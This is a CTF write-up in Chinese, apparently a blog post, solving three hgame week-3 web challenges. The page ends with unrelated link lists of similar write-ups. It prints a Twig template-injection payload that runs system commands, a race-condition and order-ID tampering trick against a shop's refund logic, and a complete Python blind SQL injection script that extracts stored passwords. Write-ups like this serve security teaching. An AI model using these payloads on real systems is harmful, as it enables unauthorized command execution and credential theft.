hgame第三周(web ak)

1.SecurityCenter

先看看hint(**vendor是第三方库和插件放置的文件夹,一般来源于composer的安装)

找到了使用的twig模板,应该是twig模板注入

查博客


依葫芦画瓢http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}

进入了安全中心,应该不用点跳转了,Array前面就是base64编码(习惯了base都用basecrack免得套娃)

hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}

2.Vidar shop demo

这题的环境感觉不是很友好,报错藏在弹窗后面看不太到,貌似是:昵称长度足够,电话限制11位,密码大于10位(藏在弹窗下面

进去之后



抓个包把amount改成9999试试(只有9999个币,flag要10000)

然并卵,想一想,那么其他几个便宜的徽章干嘛用呢? 条件竞争,也许是并发操作(查了一篇技术知乎):



回到题目:

我先尝试了手动购买多个订单,然后设置并发50删除订单,发现钱没有多退给我,反而可能变少,证实了并发操作是可以改变余额的。

那么我们多来几个订单(为了测试),试试并发购买(虚拟机转主机了,因为虚拟机太慢)


回到订单列表,买好了(如果看一下余额算一下发现少用了钱

再退掉几个订单

发现钱变多了!

方法二:(无并发操作)购买买一个flag和一个徽章,在删除徽章的时候抓包,改一下flag的ID就可以了

好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}

3.LoginMe

先随便登一下

json格式,常规测试之后猜测应该是sql注入

盲注脚本

import requests
import json
url = 'http://5a51fa042c.login.summ3r.top:60067/login'
flag = ''
for i in range(1,2000):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
# 1' or (sqlite_version() GLOB '3.36.0') or '2'='1
# payload = "-1' or substr((select hex(group_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
payload = "-1' or substr((select hex(group_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid)) datas = {
"username": payload,
"password": "1"
}
headers = {'Content-Type': 'application/json'}
res = requests.post(url=url,headers=headers,data=json.dumps(datas)) if 'success!' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag) # print('\n'+bytes.fromhex(flag).decode('utf-8'))

base解码一下:

54c89486be811c26424c4335ed1af27e,应该是对应的密码,用户名应该是admin


(题目环境5min重置一次,所以每次python跑出来的值都不一样,密码也就不同)

hgame-week3-web-wp的更多相关文章

  1. ISCC的 Web——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...

  2. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  3. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  4. [HGAME] Week1 Web WriteUp

    一 .Cosmos的博客 打开题目之后,首页直接给了我们提示: 版本管理工具常用的有git和svn两种,这里提示了GitHub,考虑Git信息泄露,先访问/.git/目录考虑用Githack获取泄露信 ...

  5. 2021CISCN 华南赛区WEB wp

    CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...

  6. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  7. 实验吧—Web——WP之 FALSE

    打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...

  8. 实验吧—Web——WP之 Guess Next Session

    打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...

  9. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

  10. 实验吧—Web——WP之 上传绕过

    我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...

随机推荐

  1. SpringBoot 之 国际化

    增加国际化i18n语言配置: # src/main/resources/i18n/login.properties login.btn=登录 # src/main/resources/i18n/log ...

  2. linux 下安装minconda3

    一.关于bashrc目录,此文件是隐藏的,如果要打开此文件需要用: vim /root/.bashrc 二.linux下关于防火墙的命令 1.查看防火墙状态 firewall-cmd --state ...

  3. Thrift框架-具体使用

    1.前言 使用thrift心得: (1)thrift是一个RPC的框架  ,RPC是远程过程调用协议:用于进行可扩展且跨语言的服务的开发,以构建在C++.Java.Python.PHP.Ruby.Er ...

  4. R语言基本数据对象之向量的主要运算

    在R语言里操作和接触的所有东西都称作对象(object).对象有很多种类 可以包含各种类型的数据.R 语言里所有的东西都被称为对象,R语言中常见的数据类型有几下几种,分别是字符型 (character ...

  5. 【Java】方法

    文章目录 何谓方法 方法的定义 方法调用 方法重载 命令行传参 可变参数 递归 何谓方法 System.out.println(),是什么 Java方法是语句的集合,它们在一起执行一个功能 方法是解决 ...

  6. LCT小记

    不用说了,直接上怎么 die( 千万不要和 Treap 一样写左旋 zig 和右旋 zag,莫名死亡.Splay 只支持一个 rotate 上旋一个节点即可. splay() 之前记得弄一个栈存储 u ...

  7. 《剑指offer》面试题49. 丑数

    问题描述 我们把只包含因子 2.3 和 5 的数称作丑数(Ugly Number).求按从小到大的顺序的第 n 个丑数. 示例: 输入: n = 10 输出: 12 解释: 1, 2, 3, 4, 5 ...

  8. 《剑指offer》面试题62. 圆圈中最后剩下的数字

    问题描述 0,1,n-1这n个数字排成一个圆圈,从数字0开始,每次从这个圆圈里删除第m个数字.求出这个圆圈里剩下的最后一个数字. 例如,0.1.2.3.4这5个数字组成一个圆圈,从数字0开始每次删除第 ...

  9. Java 面试题史上最强整理

    https://mp.weixin.qq.com/s/kJpRgfI3zT77XqMeRfmmQQ

  10. golang中的标准库IO操作

    参考链接 输入输出的底层原理 终端其实是一个文件,相关实例如下: os.Stdin:标准输入的文件实例,类型为*File os.Stdout:标准输出的文件实例,类型为*File os.Stderr: ...